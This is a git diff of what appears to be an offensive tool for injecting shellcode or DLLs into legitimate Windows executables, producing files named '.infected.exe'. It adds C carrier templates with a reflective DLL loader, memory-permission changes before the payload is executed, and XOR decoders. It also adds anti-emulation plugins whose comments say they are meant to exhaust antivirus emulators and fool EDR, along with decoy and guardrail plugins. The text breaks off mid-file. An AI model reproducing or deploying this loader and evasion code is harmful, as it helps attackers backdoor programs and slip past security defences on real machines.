+
- {% if is_64 %}
- x64: {{ is_64 }}
- {% else %}
-
x64: {{ is_64 }}
- {% endif %}
- / Dotnet: {{ is_dotnet}}
- .text: {{ code_sect_size}}
- .rdata: {{ data_sect_size}}
- (max: {{ data_sect_largest_gap_size}})
- {% if not has_rodata_section %}
-
No .rdata section
- {% endif %}
+
EXE Info:
+
+ -
+ {% if is_64 %}
+ x64: {{ is_64 }}
+ {% else %}
+ x64: {{ is_64 }}
+ {% endif %}
+
+
+ -
+ Dotnet: {{ is_dotnet}}
+
+
+ -
+ .text: {{ code_sect_size}}
+
+
+ -
+ .rdata: {{ data_sect_size}}
+ (max: {{ data_sect_largest_gap_size}})
+
+
+ {% if not has_rodata_section %}
+ -
+ No .rdata section
+
+ {% endif %}
+
{% if unresolved_dlls|length > 0 %}
@@ -108,37 +141,59 @@
{% endfor %}
{% endif %}
+
-
-
+
+
-
+
-
-
+
-
-
-
+
+
+
+
+
+
+ {% if project.settings.plugin_guardrail != "none" %}
+
+ {% endif %}
+
+
+
+
+
+
diff --git a/app/views_project.py b/app/views_project.py
index 5cc6989..8aa3fdb 100644
--- a/app/views_project.py
+++ b/app/views_project.py
@@ -88,7 +88,7 @@ def project(name):
has_rodata_section = superpe.has_rodata_section()
if has_rodata_section:
- superpe.get_rdata_relocmanager().find_largest_gap()
+ superpe.get_rdata_rangemanager().find_largest_gap()
unresolved_dlls = pe.dllresolver.unresolved_dlls(superpe)
project_dir = os.path.dirname(os.getcwd() + "\\" + project.settings.main_dir)
@@ -98,10 +98,16 @@ def project(name):
shellcodes = list_files_and_sizes(PATH_SHELLCODES)
carrier_names = get_template_names()
- decoderstyles = [(color.name, color.value) for color in DecoderStyle]
carrier_invoke_styles = [(color.name, color.value) for color in CarrierInvokeStyle]
payload_locations = [(color.name, color.value) for color in PayloadLocation]
+ guardrail_styles = list_files(PATH_GUARDRAILS)
+ antiemulation_styles = list_files(PATH_ANTIEMULATION)
+ decoy_styles = list_files(PATH_DECOY)
+ virtualprotect_styles = list_files(PATH_VIRTUALPROTECT)
+ decoder_styles = list_files(PATH_DECODER)
+
+
return render_template('project.html',
project_name = name,
project=project,
@@ -111,7 +117,7 @@ def project(name):
exes=exes,
shellcodes=shellcodes,
carrier_names=carrier_names,
- decoderstyles=decoderstyles,
+ decoder_styles=decoder_styles,
carrier_invoke_styles=carrier_invoke_styles,
payload_locations=payload_locations,
exports=exports,
@@ -128,6 +134,11 @@ def project(name):
has_remote=has_remote,
fix_missing_iat=project.settings.fix_missing_iat,
+
+ guardrailstyles = guardrail_styles,
+ antiemulationstyles = antiemulation_styles,
+ decoystyles = decoy_styles,
+ virtualprotectstyles = virtualprotect_styles
)
@@ -145,6 +156,16 @@ def list_files_and_sizes(directory, prepend=""):
return files_and_sizes
+def list_files(directory, prepend="") -> List[str]:
+ files = []
+ for filename in os.listdir(directory):
+ filepath = os.path.join(directory, filename)
+ if os.path.isfile(filepath):
+ filename = filename.replace(".c", "")
+ files.append(filename)
+ return files
+
+
@views_project.route("/project_add", methods=['POST', 'GET'])
def add_project():
if request.method == 'POST':
@@ -155,6 +176,18 @@ def add_project():
# new project?
if storage.get_project(project_name) == None:
+ # Default values for web create
+ settings.init_payload_injectable(
+ "messagebox.bin",
+ "data/binary/exes/procexp64.exe",
+ ""
+ )
+ settings.decoder_style = "xor_2"
+ settings.carrier_name = "alloc_rw_rx"
+ settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
+ settings.payload_location = PayloadLocation.CODE
+ settings.fix_missing_iat = True
+
# add new project
project = WebProject(project_name, settings)
project.comment = comment
@@ -162,32 +195,24 @@ def add_project():
# update project
else:
- settings.payload_path = PATH_SHELLCODES + request.form['shellcode']
- if request.form['shellcode'] == "createfile.bin":
- settings.verify = True
- settings.try_start_final_infected_exe = False
- else:
- settings.cleanup_files_on_exit = False
-
- if 'dllfunc' in request.form:
- settings.dllfunc = request.form['dllfunc']
-
- settings.inject_exe_in = request.form['exe']
- settings.inject_exe_out = request.form['exe'].replace(".exe", ".infected.exe")
+ settings.init_payload_injectable(
+ request.form['shellcode'],
+ request.form['exe'],
+ request.form.get('dllfunc', "")
+ )
settings.fix_missing_iat = True if request.form.get('fix_missing_iat') != None else False
-
- carrier_name = request.form['carrier_name']
- settings.carrier_name = carrier_name
-
+ settings.carrier_name = request.form['carrier_name']
+ settings.plugin_antiemulation = request.form['antiemulation']
+ settings.plugin_decoy = request.form['decoy']
+ settings.plugin_guardrail = request.form['guardrail']
carrier_invoke_style = request.form['carrier_invoke_style']
settings.carrier_invoke_style = CarrierInvokeStyle[carrier_invoke_style]
-
- decoder_style = request.form['decoder_style']
- settings.decoder_style = DecoderStyle[decoder_style]
-
+ settings.decoder_style = request.form['decoder_style']
payload_location = request.form['payload_location']
settings.payload_location = PayloadLocation[payload_location]
+ settings.plugin_guardrail_data = request.form.get('guardrail_data', '')
+ settings.plugin_virtualprotect = request.form.get('virtualprotect')
# overwrite project
project = storage.get_project(project_name)
diff --git a/data/binary/shellcodes/createfile.dll b/data/binary/shellcodes/createfile.dll
new file mode 100644
index 0000000..fb04556
Binary files /dev/null and b/data/binary/shellcodes/createfile.dll differ
diff --git a/data/binary/shellcodes/messagebox.dll b/data/binary/shellcodes/messagebox.dll
new file mode 100644
index 0000000..c451717
Binary files /dev/null and b/data/binary/shellcodes/messagebox.dll differ
diff --git a/data/source/antiemulation/none.c b/data/source/antiemulation/none.c
new file mode 100644
index 0000000..42e9393
--- /dev/null
+++ b/data/source/antiemulation/none.c
@@ -0,0 +1,4 @@
+
+void antiemulation() {
+ // None
+}
\ No newline at end of file
diff --git a/data/source/antiemulation/sirallocalot.c b/data/source/antiemulation/sirallocalot.c
new file mode 100644
index 0000000..dbd9449
--- /dev/null
+++ b/data/source/antiemulation/sirallocalot.c
@@ -0,0 +1,54 @@
+
+#define ALLOC_NUM 256
+
+
+/* This will allocate ALLOC_NUM RW memory regions,
+ set them to RX, and free them
+
+ The idea is that the AV emulator will probably give up, either because
+ of used memory is above maximum, or amount of instructions, or
+ number of API calls, or time.
+
+ It hopefully also makes the EDR think this program is doing some
+ kind of interpreter or JIT compilation, and not a malicious payload.
+*/
+
+void antiemulation() {
+ void* allocs[ALLOC_NUM];
+ DWORD result;
+
+ for(int i=0; i<4; i++) {
+
+ for(int n=0; n
> 24);
+ return kernelTime;
+}
+
+
+int sleep_ms(DWORD sleeptime) {
+ DWORD start = get_time_raw();
+ while (get_time_raw() - start < sleeptime) {}
+}
+
+
+void antiemulation() {
+ sleep_ms(3000);
+}
\ No newline at end of file
diff --git a/data/source/carrier/alloc_rw_rwx/template.c b/data/source/carrier/alloc_rw_rwx/template.c
index 7ee8d8c..6a4ff0f 100644
--- a/data/source/carrier/alloc_rw_rwx/template.c
+++ b/data/source/carrier/alloc_rw_rwx/template.c
@@ -8,29 +8,35 @@ char *supermega_payload;
#define p_RX 0x20
#define p_RWX 0x40
-/* iat_reuse
- Standard IAT reuse shellcode
+/* VirtualAlloc -> rw -> rwx
+
* create new memory region for the payload
- * will set it to RWX (safe to run shellcodes, opsec-unsafe)
+ * will set it to RWX (opsec-unsafe, allows in-memory decryption with sgn)
*/
+
+{{plugin_antiemulation}}
+
+{{plugin_decoy}}
+
+{{plugin_executionguardrail}}
+
+
int main()
{
- // Execution Guardrail: Env Check
- wchar_t envVarName[] = L"USERPROFILE";
- wchar_t tocheck[] = L"C:\\Users\\";
- WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
- DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
- if (result == 0) {
- return 6;
- }
- if (mystrcmp(buffer, tocheck) != 0) {
- return 6;
+ DWORD result;
+
+ // Call: Execution Guardrail
+ if (executionguardrail() != 0) {
+ return 1;
}
- // Decoy
- //WinExec("C:\\windows\\system32\\notepad.exe", 1);
+ // Call: Anti Emulation plugin
+ antiemulation();
+
+ // Call: Decoy plugin
+ decoy();
// Allocate 1
// char *dest = ...
@@ -54,13 +60,3 @@ int main()
return 0;
}
-int mystrcmp(wchar_t* str1, wchar_t* str2) {
- int i = 0;
- while (str1[i] != L'\0' && str2[i] != L'\0') {
- if (str1[i] != str2[i]) {
- return 1;
- }
- i++;
- }
- return 0;
-}
diff --git a/data/source/carrier/alloc_rw_rx/template.c b/data/source/carrier/alloc_rw_rx/template.c
index 896f6f8..5f328eb 100644
--- a/data/source/carrier/alloc_rw_rx/template.c
+++ b/data/source/carrier/alloc_rw_rx/template.c
@@ -8,29 +8,35 @@ char *supermega_payload;
#define p_RX 0x20
#define p_RWX 0x40
-/* iat_reuse_rx
- Standard IAT reuse shellcode
+{{plugin_antiemulation}}
+
+{{plugin_decoy}}
+
+{{plugin_executionguardrail}}
+
+{{plugin_virtualprotect}}
+
+/* VirtualAlloc -> rw -> rx
+
* create new memory region for the payload
* will set it to RX (may break some shellcodes, opsec-safe)
*/
int main()
{
- // Execution Guardrail: Env Check
- wchar_t envVarName[] = L"USERPROFILE";
- wchar_t tocheck[] = L"C:\\Users\\";
- WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
- DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
- if (result == 0) {
- return 6;
- }
- if (mystrcmp(buffer, tocheck) != 0) {
- return 6;
+ DWORD result;
+
+ // Call: Execution Guardrail
+ if (executionguardrail() != 0) {
+ return 1;
}
- // Decoy
- //WinExec("C:\\windows\\system32\\notepad.exe", 1);
+ // Call: Anti Emulation plugin
+ antiemulation();
+
+ // Call: Decoy plugin
+ decoy();
// Allocate 1
// char *dest = ...
@@ -44,7 +50,7 @@ int main()
// to: dest[]
{{ plugin_decoder }}
- if (VirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
+ if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
return 7;
}
@@ -54,13 +60,3 @@ int main()
return 0;
}
-int mystrcmp(wchar_t* str1, wchar_t* str2) {
- int i = 0;
- while (str1[i] != L'\0' && str2[i] != L'\0') {
- if (str1[i] != str2[i]) {
- return 1;
- }
- i++;
- }
- return 0;
-}
diff --git a/data/source/carrier/change_rw_rx/template.c b/data/source/carrier/change_rw_rx/template.c
new file mode 100644
index 0000000..ce69c29
--- /dev/null
+++ b/data/source/carrier/change_rw_rx/template.c
@@ -0,0 +1,56 @@
+#include
+
+#include
+
+char *supermega_payload;
+
+#define p_RW 0x04
+#define p_RX 0x20
+#define p_RWX 0x40
+
+/* change payload memory regions permissions
+ will reuse IMAGE locations
+
+ depending on payload injection:
+ * .text -> rw -> rx
+ * .rdata -> rw -> rx
+*/
+
+{{plugin_antiemulation}}
+
+{{plugin_decoy}}
+
+{{plugin_executionguardrail}}
+
+
+int main()
+{
+ DWORD result;
+ char *dest = supermega_payload;
+
+ // Call: Execution Guardrail
+ if (executionguardrail() != 0) {
+ return 1;
+ }
+
+ // Call: Anti Emulation plugin
+ antiemulation();
+
+ // Call: Decoy plugin
+ decoy();
+
+ if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RW, &result) == 0) {
+ return 16;
+ }
+
+{{ plugin_decoder }}
+
+ if (MyVirtualProtect(dest, {{PAYLOAD_LEN}}, p_RX, &result) == 0) {
+ return 16;
+ }
+
+ // Execute *dest
+ (*(void(*)())(dest))();
+
+ return 0;
+}
diff --git a/data/source/carrier/change_rwx_rx/template.c b/data/source/carrier/change_rwx_rx/template.c
deleted file mode 100644
index 5251a73..0000000
--- a/data/source/carrier/change_rwx_rx/template.c
+++ /dev/null
@@ -1,43 +0,0 @@
-#include
-
-#include
-
-char *supermega_payload;
-
-#define p_RW 0x04
-#define p_RX 0x20
-#define p_RWX 0x40
-
-/* iat_reuse_rwx_rx
-
- IAT reuse shellcode
- * reuse payload location (both in .rdata and .text)
- * does (rw/rx) -> rwx -> rx
-*/
-
-int main()
-{
- DWORD result;
- char *dest = supermega_payload;
-
- // Note: RWX if carrier and payload are on the same page (or we cant exec copy..)
- // can do only RW otherwise?
- for(int n=0; n<({{PAYLOAD_LEN}}/4096)+1; n++) {
- if (VirtualProtect(dest + (n * 4096), 16, p_RWX, &result) == 0) {
- return 16;
- }
- }
-
-{{ plugin_decoder }}
-
- for(int n=0; n<{{PAYLOAD_LEN}}/4096; n++) {
- if (VirtualProtect(dest + (n * 4096), 16, p_RX, &result) == 0) {
- return 16;
- }
- }
-
- // Execute *dest
- (*(void(*)())(dest))();
-
- return 0;
-}
diff --git a/data/source/carrier/dll_loader_alloc/template.c b/data/source/carrier/dll_loader_alloc/template.c
new file mode 100644
index 0000000..055c371
--- /dev/null
+++ b/data/source/carrier/dll_loader_alloc/template.c
@@ -0,0 +1,186 @@
+#include
+#include
+
+
+char *supermega_payload;
+
+#define p_RW 0x04
+#define p_RX 0x20
+#define p_RWX 0x40
+
+/* DLL loader
+
+ This code will load a DLL (not a shellcode!)
+ into new memory region,
+ resolve its imports, apply relocations, and execute it.
+
+ Loader is based on:
+ https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
+ with some patches to make it work here
+*/
+
+
+typedef struct BASE_RELOCATION_BLOCK {
+ DWORD PageAddress;
+ DWORD BlockSize;
+} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;
+
+typedef struct BASE_RELOCATION_ENTRY {
+ USHORT Offset : 12;
+ USHORT Type : 4;
+} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
+
+typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID);
+
+
+void mymemcpy(void* dest, const void* src, size_t n) {
+ char* d = (char*)dest;
+ const char* s = (const char*)src;
+ for (size_t i = 0; i < n; ++i) {
+ d[i] = s[i];
+ }
+}
+
+
+DWORD_PTR load_dll(LPVOID dllBytes, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) {
+ // get this module's image base address
+ PVOID imageBase = GetModuleHandleA(NULL);
+
+ // get pointers to in-memory DLL headers
+ PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew);
+ SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;
+
+ // allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere
+ //LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+ LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+
+ // get delta between this module's image base and the DLL that was read into memory
+ DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
+
+ // copy over DLL image headers to the newly allocated space for the DLL
+ mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
+
+ // copy over DLL image sections to the newly allocated space for the DLL
+ PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
+ for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
+ {
+ LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
+ LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
+ mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
+ section++;
+ }
+
+ // perform image base relocations
+ IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
+ DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
+ DWORD relocationsProcessed = 0;
+
+ while (relocationsProcessed < relocations.Size)
+ {
+ PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
+ relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
+ DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
+ PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
+
+ for (DWORD i = 0; i < relocationsCount; i++)
+ {
+ relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
+
+ if (relocationEntries[i].Type == 0)
+ {
+ continue;
+ }
+
+ DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
+ DWORD_PTR addressToPatch = 0;
+ ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
+ addressToPatch += deltaImageBase;
+ mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
+ }
+ }
+
+ // resolve import address table
+ PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
+ IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
+ importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
+ LPCSTR libraryName;
+ HMODULE library = NULL;
+
+ while (importDescriptor->Name != NULL)
+ {
+ libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
+ library = LoadLibraryA(libraryName);
+
+ if (library)
+ {
+ PIMAGE_THUNK_DATA thunk = NULL;
+ thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);
+
+ while (thunk->u1.AddressOfData != NULL)
+ {
+ if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
+ {
+ LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
+ thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
+ }
+ else
+ {
+ PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
+ DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
+ thunk->u1.Function = functionAddress;
+ }
+ ++thunk;
+ }
+ }
+
+ importDescriptor++;
+ }
+
+ *ret_dllBase = (DWORD_PTR)dllBase;
+ *ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint;
+
+ return 0;
+}
+
+
+{{plugin_antiemulation}}
+
+{{plugin_decoy}}
+
+{{plugin_executionguardrail}}
+
+{{plugin_virtualprotect}}
+
+int main()
+{
+ char* dest = NULL;
+
+ // Call: Execution Guardrail
+ if (executionguardrail() != 0) {
+ return 1;
+ }
+
+ // Call: Anti Emulation plugin
+ antiemulation();
+
+ // Call: Decoy plugin
+ decoy();
+
+ dest = MyVirtualProtect(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE);
+
+ // FROM supermega_payload[]
+ // TO dest[]
+ // Including decryption
+{{ plugin_decoder }}
+
+ // Load the DLL at dest
+ DWORD_PTR dllBase;
+ DWORD aoep;
+ load_dll( (void *) dest, &dllBase, &aoep);
+ DLLEntry DllEntry = (DLLEntry)(dllBase + aoep);
+ (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
+
+ return 0;
+}
+
diff --git a/data/source/carrier/dll_loader_change/template.c b/data/source/carrier/dll_loader_change/template.c
new file mode 100644
index 0000000..af0fad2
--- /dev/null
+++ b/data/source/carrier/dll_loader_change/template.c
@@ -0,0 +1,221 @@
+#include
+#include
+
+
+char *supermega_payload;
+
+#define p_RW 0x04
+#define p_RX 0x20
+#define p_RWX 0x40
+
+/* DLL loader
+
+ This code will load a DLL (not a shellcode!) into
+ existing memory region,
+ resolve its imports, apply relocations, and execute it.
+
+ Loader is based on:
+ https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
+ with some patches to make it work here
+*/
+
+
+typedef struct BASE_RELOCATION_BLOCK {
+ DWORD PageAddress;
+ DWORD BlockSize;
+} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;
+
+typedef struct BASE_RELOCATION_ENTRY {
+ USHORT Offset : 12;
+ USHORT Type : 4;
+} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
+
+typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID);
+
+
+void mymemcpy(void* dest, const void* src, size_t n) {
+ char* d = (char*)dest;
+ const char* s = (const char*)src;
+ for (size_t i = 0; i < n; ++i) {
+ d[i] = s[i];
+ }
+}
+
+
+DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) {
+ // dllBase is expected to be page-aligned
+ if ((DWORD_PTR)dllBase & 0xFFF)
+ {
+ MessageBoxW(0, L"Not page aligned", L"Not page aligned", MB_OK);
+ }
+
+ // get pointers to in-memory DLL headers
+ PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBase;
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + dosHeaders->e_lfanew);
+ SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;
+ DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
+
+/*
+ // VirtualProtect the sections correctly
+ PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
+ for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
+ {
+ DWORD protect;
+ if (section->Characteristics & IMAGE_SCN_MEM_EXECUTE)
+ {
+ protect = PAGE_EXECUTE_READWRITE;
+ }
+ else if (section->Characteristics & IMAGE_SCN_MEM_WRITE)
+ {
+ protect = PAGE_READWRITE;
+ }
+ else
+ {
+ protect = PAGE_READONLY;
+ }
+
+ DWORD_PTR sectionDestination = section->VirtualAddress + (DWORD_PTR)dllBase;
+ DWORD_PTR sectionSize = section->SizeOfRawData;
+ DWORD oldProtect;
+ VirtualProtect((LPVOID)sectionDestination, sectionSize, protect, &oldProtect);
+ section++;
+ }
+*/
+
+ // Overwrite PE header: First 0x1000 bytes
+/*
+ // allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere
+ //LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+ LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+
+ // get delta between this module's image base and the DLL that was read into memory
+
+ // copy over DLL image headers to the newly allocated space for the DLL
+ mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
+
+ // copy over DLL image sections to the newly allocated space for the DLL
+ PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
+ for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
+ {
+ LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
+ LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
+ mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
+ section++;
+ }
+*/
+
+ // perform image base relocations
+ IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
+ DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
+ DWORD relocationsProcessed = 0;
+
+ while (relocationsProcessed < relocations.Size)
+ {
+ PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
+ relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
+ DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
+ PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
+
+ for (DWORD i = 0; i < relocationsCount; i++)
+ {
+ relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
+ if (relocationEntries[i].Type == 0)
+ {
+ continue;
+ }
+
+ DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
+ //DWORD_PTR addressToPatch = 0;
+ //ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
+ DWORD_PTR* addressToPatch = (DWORD_PTR*)((BYTE*)dllBase + relocationRVA);
+ //DWORD_PTR value = *addressToPatch;
+ *addressToPatch += deltaImageBase;
+ //mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
+ }
+ }
+
+ // resolve import address table
+ PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
+ IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
+ importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
+ LPCSTR libraryName;
+ HMODULE library = NULL;
+
+ while (importDescriptor->Name != NULL)
+ {
+ libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
+ library = LoadLibraryA(libraryName);
+
+ if (library)
+ {
+ PIMAGE_THUNK_DATA thunk = NULL;
+ thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);
+
+ while (thunk->u1.AddressOfData != NULL)
+ {
+ if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
+ {
+ LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
+ thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
+ }
+ else
+ {
+ PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
+ DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
+ thunk->u1.Function = functionAddress;
+ }
+ ++thunk;
+ }
+ }
+
+ importDescriptor++;
+ }
+
+ *ret_dllBase = (DWORD_PTR)dllBase;
+ *ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint;
+
+ return 0;
+}
+
+
+{{plugin_antiemulation}}
+
+{{plugin_decoy}}
+
+{{plugin_executionguardrail}}
+
+{{plugin_virtualprotect}}
+
+int main()
+{
+ char* dest = supermega_payload;
+ DWORD protect, oldProtect;
+
+ // Call: Execution Guardrail
+ if (executionguardrail() != 0) {
+ return 1;
+ }
+
+ // Call: Anti Emulation plugin
+ antiemulation();
+
+ // Call: Decoy plugin
+ decoy();
+
+ MyVirtualProtect((LPVOID)dest, {{PAYLOAD_LEN}}, PAGE_EXECUTE_READWRITE, &oldProtect);
+
+ // FROM supermega_payload[]
+ // TO dest[]
+ // Including decryption
+ {{ plugin_decoder }}
+
+ // Load the DLL at dest
+ DWORD_PTR dllBase;
+ DWORD aoep;
+ load_dll( (void *) dest, &dllBase, &aoep);
+ DLLEntry DllEntry = (DLLEntry)(dllBase + aoep);
+ (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
+
+ return 0;
+}
+
diff --git a/data/source/carrier/peb_walk/template.c b/data/source/carrier/peb_walk/template.c
index 24be0c6..6ccfa4c 100644
--- a/data/source/carrier/peb_walk/template.c
+++ b/data/source/carrier/peb_walk/template.c
@@ -5,7 +5,9 @@
char *supermega_payload;
/* peb_walk
- Standard shellcode which will resolve IAT by itself with a peb_walk
+ Test shellcode which will resolve IAT by itself with a peb walk
+ no IAT reuse is performed
+ no data reuse is performed
*/
int main()
diff --git a/data/source/carrier/decoder/plain_1.c b/data/source/decoder/plain_1.c
similarity index 100%
rename from data/source/carrier/decoder/plain_1.c
rename to data/source/decoder/plain_1.c
diff --git a/data/source/carrier/decoder/xor_1.c b/data/source/decoder/xor_1.c
similarity index 100%
rename from data/source/carrier/decoder/xor_1.c
rename to data/source/decoder/xor_1.c
diff --git a/data/source/carrier/decoder/xor_2.c b/data/source/decoder/xor_2.c
similarity index 100%
rename from data/source/carrier/decoder/xor_2.c
rename to data/source/decoder/xor_2.c
diff --git a/data/source/decoy/none.c b/data/source/decoy/none.c
new file mode 100644
index 0000000..1e28abf
--- /dev/null
+++ b/data/source/decoy/none.c
@@ -0,0 +1,4 @@
+
+void decoy() {
+ // None
+}
\ No newline at end of file
diff --git a/data/source/decoy/winexec.c b/data/source/decoy/winexec.c
new file mode 100644
index 0000000..99904c6
--- /dev/null
+++ b/data/source/decoy/winexec.c
@@ -0,0 +1,4 @@
+
+void decoy() {
+ WinExec("C:\\windows\\system32\\notepad.exe", 1);
+}
diff --git a/data/source/guardrails/env.c b/data/source/guardrails/env.c
new file mode 100644
index 0000000..251f942
--- /dev/null
+++ b/data/source/guardrails/env.c
@@ -0,0 +1,29 @@
+
+
+int mystrcmp(wchar_t* str1, wchar_t* str2) {
+ int i = 0;
